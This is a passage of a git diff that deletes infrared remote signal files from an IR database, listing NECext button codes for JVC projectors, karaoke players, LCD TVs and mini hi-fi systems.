00 00 -command: C1 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: C4 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: CC 00 00 00 -# -name: RECORD_MODE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: CC 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: D4 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: DC 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: DD 00 00 00 -# -name: NAVIGATION -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: E0 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: E8 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: E9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir deleted file mode 100644 index 58345135c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 05 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4B 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4C 00 00 00 -# -name: INPUT_COMPONENT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 59 00 00 00 -# -name: CINEMA_'C' -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: NATURAL_'N' -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6A 00 00 00 -# -name: DYNAMIC_'D' -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6B 00 00 00 -# -name: USER_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6C 00 00 00 -# -name: USER_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6D 00 00 00 -# -name: USER_3 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6E 00 00 00 -# -name: HDMI-1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: HDMI-2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 74 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 76 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 77 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 78 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 79 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: COLOR+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7C 00 00 00 -# -name: COLOR- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7D 00 00 00 -# -name: SHARP+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7E 00 00 00 -# -name: SHARP- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir deleted file mode 100644 index ec1f8d93f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: MULTISCREEN_SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir deleted file mode 100644 index 706271068..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SLEEP_TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: VIDEO_STATUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: CLOSE_CAPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: INPUT3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: DIGITAL_IN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: INPUT4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: MULTISCREEN_FREEZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 -# -name: MULTISCREEN_INDEX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 82 00 00 00 -# -name: MULTISCREEN_SWAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 89 00 00 00 -# -name: MULTILSCREEN_TWIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8B 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 93 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 93 00 00 00 -# -name: THEATRE_PRO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: D5 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir deleted file mode 100644 index e48008a80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir deleted file mode 100644 index d0fb2787a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: JUMP_BACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: B3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir deleted file mode 100644 index 8d682cdc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 03 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 06 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 07 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 08 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 09 00 00 00 -# -name: REPEAT/RANDOM -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 19 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1E 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 1F 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 2C 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 31 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 32 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir deleted file mode 100644 index f41c6d9e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_B -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_# -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir deleted file mode 100644 index d103787b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: OK/SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir deleted file mode 100644 index f1433a64f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir deleted file mode 100644 index b12a3727d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir deleted file mode 100644 index e01f21a96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TEXT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 13 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 3C 00 00 00 -# -name: 3D_SOUND_/_GREEN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 3D 00 00 00 -# -name: PIP_SOUND_/_YELLOW -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 3E 00 00 00 -# -name: PIP_/_BLUE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir deleted file mode 100644 index b07eed5f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir deleted file mode 100644 index 1c3130ba3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DECK_B_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: DECK_B_FFWD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: DECK_B_REW -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: DECK_B< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0E 00 00 00 -# -name: DECK_B> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0F 00 00 00 -# -name: DECK_A_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 53 00 00 00 -# -name: DECK_A_FFWD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 56 00 00 00 -# -name: DECK_A_REW -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 57 00 00 00 -# -name: TAPE_DECK_A< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5E 00 00 00 -# -name: TAPE_DECK_A> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 5F 00 00 00 -# -name: DECK_B_RECORD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir deleted file mode 100644 index 6c21b632d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: TUNER_INPUT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: CD_SKIP_+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: CD_SKIP_- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: CD_PLAY/INPUT/PAUSE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: CD_STOPP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir deleted file mode 100644 index 1488bab31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SLEEP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: WAKE_UP/SLEEP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 03 00 00 00 -# -name: INPUT:_FM/AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 17 00 00 00 -# -name: FADE_MUTING -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 31 00 00 00 -# -name: TREBLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 37 00 00 00 -# -name: SEA_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: INPUT:_MD/AUX -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3E 00 00 00 -# -name: LIVE-S_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 70 00 00 00 -# -name: AHB_PRO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 75 00 00 00 -# -name: AUTO_PRESET -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir deleted file mode 100644 index 9924acd4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 05 00 00 00 -# -name: TUNER_SCAN_UP -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 05 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 06 00 00 00 -# -name: TUNER_SCAN_DOWN -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 06 00 00 00 -# -name: SET/ENTER -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 91 00 00 00 -# -name: DOOR_SLIDE -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C0 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C0 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C0 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C1 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C1 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C1 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C2 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: AF 00 00 00 -command: C3 00 00 00 diff --git 